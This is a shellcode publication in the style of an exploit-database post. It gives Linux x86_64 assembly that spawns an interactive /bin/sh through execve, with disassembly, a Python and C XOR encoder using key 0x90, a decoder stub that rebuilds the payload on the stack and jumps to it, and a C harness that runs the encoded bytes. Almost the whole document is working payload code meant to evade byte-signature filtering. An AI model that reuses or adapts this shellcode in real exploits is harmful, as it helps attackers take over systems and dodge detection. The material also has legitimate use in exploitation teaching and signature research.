Linux x86_64 XOR Encode execve Shellcode

/* 
	# Title : Linux x86_64 XOR encode execve("/bin//sh",{"//bin/sh","-i",NULL},NULL) shellcode
	# Date : 31-05-2016
	# Author : Roziul Hasan Khan Shifat
	# Tested On : Ubuntu 14.04 LTS x86_64
*/


/* 								
				main code 
			------------------------
												
section .text
	global _start
_start:

xor rax,rax
xor rdx,rdx

push rax
push rax

mov [rsp],dword '//bi'
mov [rsp+4],dword 'n/sh'


mov rdi,rsp


push rax
push rax

mov [rsp],word '-i'
mov rsi,rsp

push rdx
push rsi
push rdi

mov rsi,rsp

add rax,59
syscall


					Disassembly
				     ------------------
Disassembly of section .text:

0000000000400080 <_start>:
  400080:	48 31 c0             	xor    %rax,%rax
  400083:	48 31 d2             	xor    %rdx,%rdx
  400086:	50                   	push   %rax
  400087:	50                   	push   %rax
  400088:	c7 04 24 2f 2f 62 69 	movl   $0x69622f2f,(%rsp)
  40008f:	c7 44 24 04 6e 2f 73 	movl   $0x68732f6e,0x4(%rsp)
  400096:	68 
  400097:	48 89 e7             	mov    %rsp,%rdi
  40009a:	50                   	push   %rax
  40009b:	50                   	push   %rax
  40009c:	66 c7 04 24 2d 69    	movw   $0x692d,(%rsp)
  4000a2:	48 89 e6             	mov    %rsp,%rsi
  4000a5:	52                   	push   %rdx
  4000a6:	56                   	push   %rsi
  4000a7:	57                   	push   %rdi
  4000a8:	48 89 e6             	mov    %rsp,%rsi
  4000ab:	48 83 c0 3b          	add    $0x3b,%rax
  4000af:	0f 05                	syscall
  
*/


/*

					encoder
				   --------------
I used a python script and a C program to encode shellcode


						python script
					   ---------------------	
a="\x48\x31\xc0\x48\x31\xd2\x50\x50\xc7\x04\x24\x2f\x2f\x62\x69\xc7\x44\x24\x04\x6e\x2f\x73\x68\x48\x89\xe7\x50\x50\x66\xc7\x04\x24\x2d\x69\x48\x89\xe6\x52\x56\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"
print "shellcode length %d"%len(a)
a=a[::-1]

for i in range(len(a)-1):
	print a[i].encode('hex')


						C program
	       				    -----------------
														
#include<stdio.h>
#include<string.h>
main(int i,char *a[])
{
if(i!=2)
{
printf("Usage %s <filename>\n",a[0]);
return 0;
}



FILE *f,*o;
f=fopen(a[1],"r");
int shell;

o=fopen("shellencode.txt","w");
if(!f || !o )
{
perror("FILE I/O error: ");
return 0;
}

while( (fscanf(f,"%x",&shell)) !=EOF )
{
printf("%.2x\n",shell);
fprintf(o,"%#.2x,",shell^0x90); //0x90 is seed key
fflush(o);
}


fclose(o);
fclose(f);
return 0;
}
														
---------------------------------------------------------------------------------------------------------------------------------
I am sorry that My python script is very Poor .Search internet for better XOR encoder python script
MY Python script Reverse the shellcode 
Then COPY & Paste the rerversed shellcode into a file
then i use the C program to encode reversed shellcode and write down shellencode.txt
----------------------------------------------------------------------------------------------------------------------------- 														

*/


/*
					decoder
				    ---------------
section .text
	global _start
_start:

jmp shellcode


decoder:
pop rsi
xor rcx,rcx
mov cl,49

cdq

mov dl,0x90 ;seed key

decode:
xor rax,rax
mov al,[rsi]
xor al,dl
dec rsp
mov [rsp],byte al
inc rsi
loop decode

call rsp


shellcode:
call decoder
 db 0x95,0x9f,0xab,0x50,0x13,0xd8,0x76,0x19,0xd8,0xc7,0xc6,0xc2,0x76,0x19,0xd8,0xf9,0xbd,0xb4,0x94,0x57,0xf6,0xc0,0xc0,0x77,0x19,0xd8,0xf8,0xe3,0xbf,0xfe,0x94,0xb4,0xd4,0x57,0xf9,0xf2,0xbf,0xbf,0xb4,0x94,0x57,0xc0,0xc0,0x42,0xa1,0xd8,0x50,0xa1


					Disassembly
				   -------------------

Disassembly of section .text:

0000000000400080 <_start>:
  400080:	eb 1d                	jmp    40009f <shellcode>

0000000000400082 <decoder>:
  400082:	5e                   	pop    %rsi
  400083:	48 31 c9             	xor    %rcx,%rcx
  400086:	b1 31                	mov    $0x31,%cl
  400088:	99                   	cltd   
  400089:	b2 90                	mov    $0x90,%dl

000000000040008b <decode>:
  40008b:	48 31 c0             	xor    %rax,%rax
  40008e:	8a 06                	mov    (%rsi),%al
  400090:	30 d0                	xor    %dl,%al
  400092:	48 ff cc             	dec    %rsp
  400095:	88 04 24             	mov    %al,(%rsp)
  400098:	48 ff c6             	inc    %rsi
  40009b:	e2 ee                	loop   40008b <decode>
  40009d:	ff d4                	callq  *%rsp

000000000040009f <shellcode>:
  40009f:	e8 de ff ff ff       	callq  400082 <decoder>
  4000a4:	95                   	xchg   %eax,%ebp
  4000a5:	9f                   	lahf   
  4000a6:	ab                   	stos   %eax,%es:(%rdi)
  4000a7:	50                   	push   %rax
  4000a8:	13 d8                	adc    %eax,%ebx
  4000aa:	76 19                	jbe    4000c5 <shellcode+0x26>
  4000ac:	d8 c7                	fadd   %st(7),%st
  4000ae:	c6 c2 76             	mov    $0x76,%dl
  4000b1:	19 d8                	sbb    %ebx,%eax
  4000b3:	f9                   	stc    
  4000b4:	bd b4 94 57 f6       	mov    $0xf65794b4,%ebp
  4000b9:	c0 c0 77             	rol    $0x77,%al
  4000bc:	19 d8                	sbb    %ebx,%eax
  4000be:	f8                   	clc    
  4000bf:	e3 bf                	jrcxz  400080 <_start>
  4000c1:	fe                   	(bad)  
  4000c2:	94                   	xchg   %eax,%esp
  4000c3:	b4 d4                	mov    $0xd4,%ah
  4000c5:	57                   	push   %rdi
  4000c6:	f9                   	stc    
  4000c7:	f2 bf bf b4 94 57    	repnz mov $0x5794b4bf,%edi
  4000cd:	c0 c0 42             	rol    $0x42,%al
  4000d0:	a1                   	.byte 0xa1
  4000d1:	d8 50 a1             	fcoms  -0x5f(%rax)

*/

/*
The shellcode decoder.asm is the encoded shellcode
*/  


char shellcode[]="\xeb\x1d\x5e\x48\x31\xc9\xb1\x31\x99\xb2\x90\x48\x31\xc0\x8a\x06\x30\xd0\x48\xff\xcc\x88\x04\x24\x48\xff\xc6\xe2\xee\xff\xd4\xe8\xde\xff\xff\xff\x95\x9f\xab\x50\x13\xd8\x76\x19\xd8\xc7\xc6\xc2\x76\x19\xd8\xf9\xbd\xb4\x94\x57\xf6\xc0\xc0\x77\x19\xd8\xf8\xe3\xbf\xfe\x94\xb4\xd4\x57\xf9\xf2\xbf\xbf\xb4\x94\x57\xc0\xc0\x42\xa1\xd8\x50\xa1";


int main(int i,char *a[])
{
(* (int(*)()) shellcode)();

}